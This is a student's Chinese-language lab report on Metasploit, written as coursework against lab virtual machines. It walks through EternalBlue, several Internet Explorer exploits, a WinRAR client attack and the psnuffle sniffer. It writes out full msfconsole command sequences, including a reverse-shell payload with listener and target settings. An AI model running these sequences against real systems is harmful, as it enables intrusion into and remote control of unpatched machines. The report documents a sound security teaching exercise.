一、实践内容及原理
实践内容
1.一个主动攻击实践,如ms17_010
2.一个针对浏览器的攻击,如ms11_050
3.一个针对客户端的攻击,如Adobe
4.成功应用任何一个辅助模块
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的。
实践原理
1.MSF攻击方法
主动攻击:扫描主机漏洞,进行攻击
攻击浏览器
攻击客户端
2.MSF的六个模块
模块源码目录:/usr/share/metasploit-framework/modules
- 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode“背”过去
- 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
- 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在渗透攻击之后去执行的代码
- 空字段模块Nop Modules
- 编码模块Encoders
- 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
3.常用命令
- search name:用指定关键字搜索可以利用的漏洞模块
- use XXXXX(exploit name):使用漏洞
- show options:显示设置
- set XXX(option name):设置选项
- show payload:回连攻击载荷
- show targets:显示版本
- set TARGET XXXX(target number):设置目标版本
- exploit:开始漏洞攻击
- sessions -l:列出会话
- sessions -i id:选择会话
- sessions -k id:结束会话
- Ctrl+z:把会话放到后台
- Ctrl+c:结束会话
- show auxiliary:显示辅助模块
- use auxiliary name:使用辅助模块
二、实验步骤
主动攻击的实践
1、MS17-010:深入分析“永恒之蓝”漏洞
EternalBlue(在微软的MS17-010中被修复)是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。
靶机:Microsoft Windows 7(192.168.118.139)
payload :windows/x64/shell/reverse_tcp_uuid
nmap --script=vuln 10.1.1.137 //查看靶机开放端口、是否存在ms17_010 search ms17_010 //搜索漏洞 use exploit/windows/smb/ms17_010_eternalblue //使用漏洞 show payloads //显示可用攻击载荷 set payload windows/x64/shell/reverse_tcp_uuid //选择攻击载荷 set LHOST 10.1.1.128 //设置监听地址 set LPORT 5318 //设置端口号 set RHOSTS 10.1.1.137 //设置靶机地址 show options //查看配置信息 exploit //开始攻击
如图所示,漏洞存在。
(2)输入msfconsole
打开MSF控制台,输入search ms17_010
查找漏洞
接着输入上面的监听者,被监听者,端口号等进行监听
(3)攻击,可以控制win7的shell
2、攻击浏览器的实践,ms13-008(失败),ms13_037(失败),ms14-064(成功)
ms13-008
靶机:Windows xp English
进入msf,使用search ms13
查看漏洞位置
使用use exploit/windows/browser/ie_cbutton_uaf
选择漏洞
输入show options
看一下需要设置哪些
提示需要设置SRVHOST与SRVPORT
使用set SRVHOST 192.168.118.136
设置监听者地址
使用set SRVPORT 8080
设置监听者端口
exploit
开始攻击
提示被攻击者访问http://192.168.118.136:8080/343iAnh
在xp访问该网站,但是msf显示ie不支持,攻击失败……
ms13_037
首先进入msf控制台search ms13
依旧是设置监听及被监听ip以及端口号
设好后发现要win7 sp1,打开win7 sp1虚拟机,执行攻击后打开网址发现可以运行
但是这浏览器给我拦截了,我把安全设置里的控件等全部调低,结果:
我裂开了啊= =
ms14-064
msf中使用use exploit/windows/browser/ms14_064_ole_code_execution
选择攻击模块,设置好攻击机的IP与端口,使用的载荷等信息,然后开始攻击。在xp中打开生成的url,可以在kali中看到创建了一个链接:
使用ctrl+c
退出当前状态,通过sessions -i 1
获取第一个会话
使用ipconfig
查看靶机地址:
发现攻击的是xp主机,攻击成功。
3、攻击客户端的实践,Winrar(成功且唯一)
使用下图中的命令生成.zip文件
把文件拖入winrar中输入:
结果如下:
4、成功应用任何一个辅助模块,sniffer监听(成功且唯一)
使用命令show auxiliary
查看所有的辅助模块,我最后选择了sniffer嗅探器进行实验
调用模块use auxiliary/sniffer/psnuffle
设置好IP后直接运行监听,我在被监听机打开了百度,kali中马上就出现了相应记录,监听成功
三、实验收获与感想
本次实验绝大多数的时间花费在找靶机上。这说明msf对漏洞的攻击对系统和软件版本具有较强的专一性,也可以看出厂商在不断的修复自己的漏洞。其次,我觉得我们的实验与实际相差还是比较大的,要完成攻击还要把安全系数调低,可现实中谁会把自己的电脑安全设置调低呢?
在实验过程中我觉得看好该漏洞能攻击的对象是比较重要的一步,否则自己折腾半天也不会成功。在攻击前提前看好靶机要求是什么,要使用什么口令,设置什么参数,这样可以避免盲目的实践导致时间的浪费。
总的来说这次试验就是在考验我和我的电脑,遇事要平静的寻找解决方法,一味烦躁是没有用的,一个不行就在下一个呗。做完实验我也毫不犹豫地买了一个内存条,毕竟同时运行5个虚拟机可不是个轻松事……
1、问题回答
用自己的话解释什么是exploit,payload,encode.
Exploit是渗透攻击,就是攻击方利用系统或软件漏洞得到开发者没有预期到的结果,渗透攻击分为主动渗透攻击与被动渗透攻击
payload是载荷的意思,实验中指一段指令或shellcode,简单来说就是攻击后要执行的代码或命令
encode是编码的意思,通过编码可以消除渗透攻击过程中应加以避免的“坏字符”,如0x00空字节。代码开发者将坏字符统一标出,就成为了编码方式,可以直接拿来使用。